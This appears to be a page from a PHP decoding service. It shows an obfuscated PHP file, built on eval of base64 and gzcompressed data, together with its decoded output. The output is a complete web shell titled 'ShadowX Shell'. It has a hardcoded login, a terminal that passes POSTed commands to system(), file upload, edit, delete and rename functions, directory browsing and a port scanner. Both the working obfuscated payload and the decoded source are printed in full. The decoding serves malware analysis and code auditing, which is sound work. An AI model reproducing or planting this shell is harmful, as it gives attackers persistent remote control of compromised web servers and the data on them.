Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $techgaun='eNrNWm1T4zgS/k4V/0HjYXGyS95gwkCCM8Uy4Zba2WGOMLt7RVGUsZVEi235ZIfAUvz365bkl..
Decoded Output download
?>b'<?php
$user = \'ExtremeAdmin\';
$pass = \'X4sRvRpWn3D5\';
$uselogin = 1;
?>
<title>ShadowX Shell</title>
<style>
#imageset{
margin-top: -386px;
z-index: 1;
}
</style>
<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie ie6 no-js" lang="en"> <![endif]-->
<!--[if IE 7 ]> <html class="ie ie7 no-js" lang="en"> <![endif]-->
<!--[if IE 8 ]> <html class="ie ie8 no-js" lang="en"> <![endif]-->
<!--[if IE 9 ]> <html class="ie ie9 no-js" lang="en"> <![endif]-->
<!--[if gt IE 9]><!--><html class=no-js lang=en><!--<![endif]-->
<head>
<meta charset=UTF-8 />
<meta http-equiv=X-UA-Compatible content="IE=edge,chrome=1">
<meta name=viewport content="width=device-width, initial-scale=1.0">
<meta name=author content=Codrops />
</head>
<body id=page>
<div class=container>
<div class=codrops-top>
</a>
<span class=right>
</a>
</span>
<div class=clr></div>
</div>
<header>
<p <html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=ISO-8859-1">
<meta name=Keywords content="MIHT">
<link rel="shortcut icon" href="http://www.iconj.com/ico/u/5/u5oywrf99u.ico" type="image/x-icon"/>
</head>
<body style="color: #e55b00; background-color: #333333;">
<center><h3><font color="#e55b00;">* RESTRICTED AREA *</font></h3></center>
<?php
# ---------------------------------------#
# Authentication #
#----------------------------------------#
if ($uselogin ==1)
{
if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass))
{
if($_POST[\'usrname\']==$user && $_POST[\'passwrd\']==$pass)
{print\'<script>document.cookie="user=\'.$_POST[\'usrname\'].\';";document.cookie="pass=\'.md5($_POST[\'passwrd\']).\';";</script>\';}
else
{
if($_POST[\'usrname\']){print\'<script>alert("Wrong Login Data.. Try Again...");</script>\';}
?>
<div id="loginform" class="" style=""><center>
<form method="POST" onSubmit="if(this.usrname.value==\'\'){return false;}" checked>
<br><input value="" title="username" data-rel="tooltip" id="username" name="usrname" size="30" maxlength="30" type="text" placeholder="Username" class="username" style="border:1px solid #e55b00; background-color: transparent; color: #e55b00; height: 30px; position: relative; z-index: 999;" onBlur="Blur(\'username\',\'userName\');" onClick="Clear(\'username\',\'userName\');" required><br><br><br>
<input value="" title="password" data-rel="tooltip" id="password" name="passwrd" size="30" maxlength="30" type="password" placeholder="Password" class="username" style="border:1px solid #e55b00; background-color: transparent; color: #e55b00; height: 30px; position: relative; z-index: 999;" onFocus="Focus(2);" required><br><br><br>
<input type="submit" value=" Login " name="login" style="border:2px solid #e55b00; background-color: transparent; color: #e55b00; width: 220px; height: 30px; position: relative; z-index:999;"><br>
</form></center></div>
</style>
<center>
<br><br><br><br><br><br><img border=0 src="http://img5.uploadhouse.com/fileuploads/16647/166472994aa3103e3728c103787d641e03c519cc.png" id="imageset" style="Opacity: 0.5;"> </img><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</center>
<?php
exit;
}
}
}
?>
<!-- Qui Finisce la parte del Login -->
<html>
<head>
<title>ShadowX Shell</title>
</head>
<body>
<style type="text/css">
hr{
color: #FF6600;
background: #FF6600;
}
body{a
background: #e55b00;
color: #e55b00;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #e55b00;
}
a:visited{
color: #e55b00;
}
a:hover{
text-decoration: none;
Color: #e55b00;
}
table {
font-size: 11px;
}
</style>
<body style="background-color:#333333;">
<?
error_reporting (0);
set_time_limit (0);
if (empty ($_GET [\'dir\'])){
$dir = getcwd ();
}
else {
$dir = $_GET [\'dir\'];
}
chdir ($dir);
$current = $_SERVER [\'PHP_SELF\'] . "?dir=" . $dir;
echo "<center><h1>ShadowX Shell</h1></center><p><p>";
echo "<i>Server: " . $_SERVER [\'SERVER_NAME\'] . "<br>";
echo "Directory Corrente: " . getcwd () . "<br>";
echo "Software: " . $_SERVER [\'SERVER_SOFTWARE\'] . "<pre></pre></i>";
echo "<pre></pre>";
echo "<table width = 50%>";
echo "<tr>";
echo "<td><a href = \'".$current."&mode=system\'>Terminale</a></td>";
echo "<td><a href = \'".$current."&mode=create\'>Crea Nuovo File</a></td>";
echo "<td><a href = \'".$current."&mode=upload\'>Upload file</a></td>";
echo "<td><a href = \'".$current."&mode=port_scan\'>Scansione Porte</a></td>";
echo "</tr></table>";
echo "<pre></pre>";
$mode = $_GET [\'mode\'];
switch ($mode){
case \'edit\':
$file = $_GET [\'file\'];
$new = $_POST [\'new\'];
if (empty ($new)){
$fp = fopen ($file, "r");
$file_cont = fread ($fp, filesize ($file));
$file_cont = str_replace ("<textarea>", "</textarea>", $file_cont);
echo "<form action = \'".$current."&mode=edit&file=".$file."\' method = \'POST\'>";
echo "File: ". $file . "<br>";
echo "<textarea name = \'new\' rows = \'30\' cols = \'50\'>".$file_cont." </textarea><br>";
echo "<input type = \'submit\' value = \'Modifica\'></form>";
}
else {
$fp = fopen ($file, "w");
if (fwrite ($fp, $new)){
echo $file . " Modificato.<p>";
}
else {
echo "Impossibile Modificare " . $file . ".<p>";
}
}
fclose ($fp);
break;
case \'delete\':
$file = $_GET [\'file\'];
if (unlink ($file)){
echo $file . " Eliminato con successo.<p>";
}
else {
echo "Impossibile Eliminare " . $file . ".<p>";
}
break;
case \'copy\':
$src = $_GET [\'src\'];
$dst = $_POST [\'dst\'];
if (empty ($dst)){
echo "<form action = \'".$current . "&mode=copy&src=" . $src . "\' method = \'POST\'>";
echo "Destination: <input name = \'dst\'><br>";
echo "<input type = \'submit\' value = \'Copia\'></form>";
}
else {
if (copy ($src, $dst)){
echo "File copiato con successo.<p>";
}
else {
echo "Impossibile Copiare " . $src . ".<p>";
}
}
break;
case \'move\':
$src = $_GET [\'src\'];
$dst = $_POST [\'dst\'];
if (empty ($dst)){
echo "<form action = \'".$current . "&mode=move&src=" . $src . "\' method = \'POST\'>";
echo "Destination: <input name = \'dst\'><br>";
echo "<input type = \'submit\' value = \'Sposta\'></form>";
}
else {
if (rename ($src, $dst)){
echo "File Spostato .<p>";
}
else {
echo "Impossibile Spostare " . $src . ".<p>";
}
}
break;
case \'rename\':
$old = $_GET [\'old\'];
$new = $_POST [\'new\'];
if (empty ($new)){
echo "<form action = \'".$current . "&mode=rename&old=" . $old . "\' method = \'POST\'>";
echo "Nuovo nome: <input name = \'new\'><br>";
echo "<input type = \'submit\' value = \'Renomina\'></form>";
}
else {
if (rename ($old, $new)){
echo "File/Directory Rinominata con successo.<p>";
}
else {
echo "Impossibile Rinominare " . $old . ".<p>";
}
}
break;
case \'rmdir\':
$rm = $_GET [\'rm\'];
if (rmdir ($rm)){
echo "Directory remossa con successo.<p>";
}
else {
echo "Impossibile Rimuovere " . $rm . ".<p>";
}
break;
case \'system\':
$cmd = $_POST [\'cmd\'];
if (empty ($cmd)){
echo "<form action = \'".$current . "&mode=system\' method = \'POST\'>";
echo "Terminale: <input name = \'cmd\'>";
echo "<input type = \'submit\' value = \'Esegui\'></form><p>";
}
else {
system ($cmd);
}
break;
case \'create\':
$new = $_POST [\'new\'];
if (empty ($new)){
echo "<form action = \'".$current . "&mode=create\' method = \'POST\'>";
echo "<tr><td>Nuovo file: <input name = \'new\'></td>";
echo "<td><input type = \'submit\' value = \'Create\'></td></tr></form><p>";
}
else {
if ($fp = fopen ($new, "w")){
echo "File creato con successo.<p>";
}
else {
echo "Impossibile Creare ".$file.".<p>";
}
fclose ($fp);
}
break;
case \'upload\':
$temp = $_FILES[\'upload_file\'][\'tmp_name\'];
$file = basename($_FILES[\'upload_file\'][\'name\']);
if (empty ($file)){
echo "<form action = \'".$current . "&mode=upload\' method = \'POST\' ENCTYPE=\'multipart/form-data\'>";
echo "File Locale: <input type = \'file\' name = \'upload_file\'>";
echo "<input type = \'submit\' value = \'Upload\'>";
echo "</form><pre></pre>";
}
else {
if(move_uploaded_file($temp,$file)){
echo "File inserito con successo.<p>";
unlink ($temp);
}
else {
echo "Impossibile Inserire " . $file . ".<p>";
}
}
break;
case \'port_scan\':
$port_range = $_POST [\'port_range\'];
if (empty ($port_range)){
echo "<table><form action = \'".$current. "&mode=port_scan\' method = \'POST\'>";
echo "<tr><td><input type = \'text\' name = \'port_range\'></td><td>";
echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";
echo "<tr><td><input type = \'submit\' value = \'Port Scan\'></td></tr></form></table>";
}
else {
$range = explode (":", $port_range);
if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){
echo "Bad parameters.<br>";
}
else {
$host = \'localhost\';
$from = $range [0];
$to = $range [1];
echo "Open ports:<br>";
while ($from <= $to){
$var = 0;
$fp = fsockopen ($host, $from) or $var = 1;
if ($var == 0){
echo $from . "<br>";
}
$from++;
fclose ($fp);
}
}
}
break;
}
clearstatcache ();
echo "<pre></pre>";
echo "<table width = 100%>";
$files = scandir ($dir);
foreach ($files as $file){
if (is_file ($file)){
$size = round (filesize ($file) / 1024, 2);
echo "<tr><td>".$file."</td>";
echo "<td>".$size." KB</td>";
echo "<td><a href = ".$current . "&mode=edit&file=".$file.">Modifica</a></td>";
echo "<td><a href = ".$current . "&mode=delete&file=".$file.">Elimina</a></td>";
echo "<td><a href = ".$current . "&mode=copy&src=".$file.">Copia</a></td>";
echo "<td><a href = ".$current . "&mode=move&src=".$file.">Sposta</a></td>";
echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Rinomina</a></td></tr>";
}
else {
$items = scandir ($file);
$items_num = count ($items) - 2;
echo "<tr><td>".$file."</td>";
echo "<td>".$items_num." Items</td>";
echo "<td><a href = ".$current . "/" . $file.">Cambia directory</a></td>";
echo "<td><a href = ".$current . "&mode=rmdir&rm=".$file.">Elimina directory</a></td>";
echo "<td><a href = ".$current . "&mode=rename&old=".$file.">Rinomina directory</a></td></tr>";
}
}
echo "</table>";
?>
</body>
</html>
'
Did this file decode correctly?
Original Code
<?php $techgaun='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';eval('?>'.gzuncompress(base64_decode($techgaun)));?>
Function Calls
| gzuncompress | 1 |
| base64_decode | 1 |
Stats
| MD5 | 07a917b9bce496a6501b6223e9514f4f |
| Eval Count | 1 |
| Decode Time | 77 ms |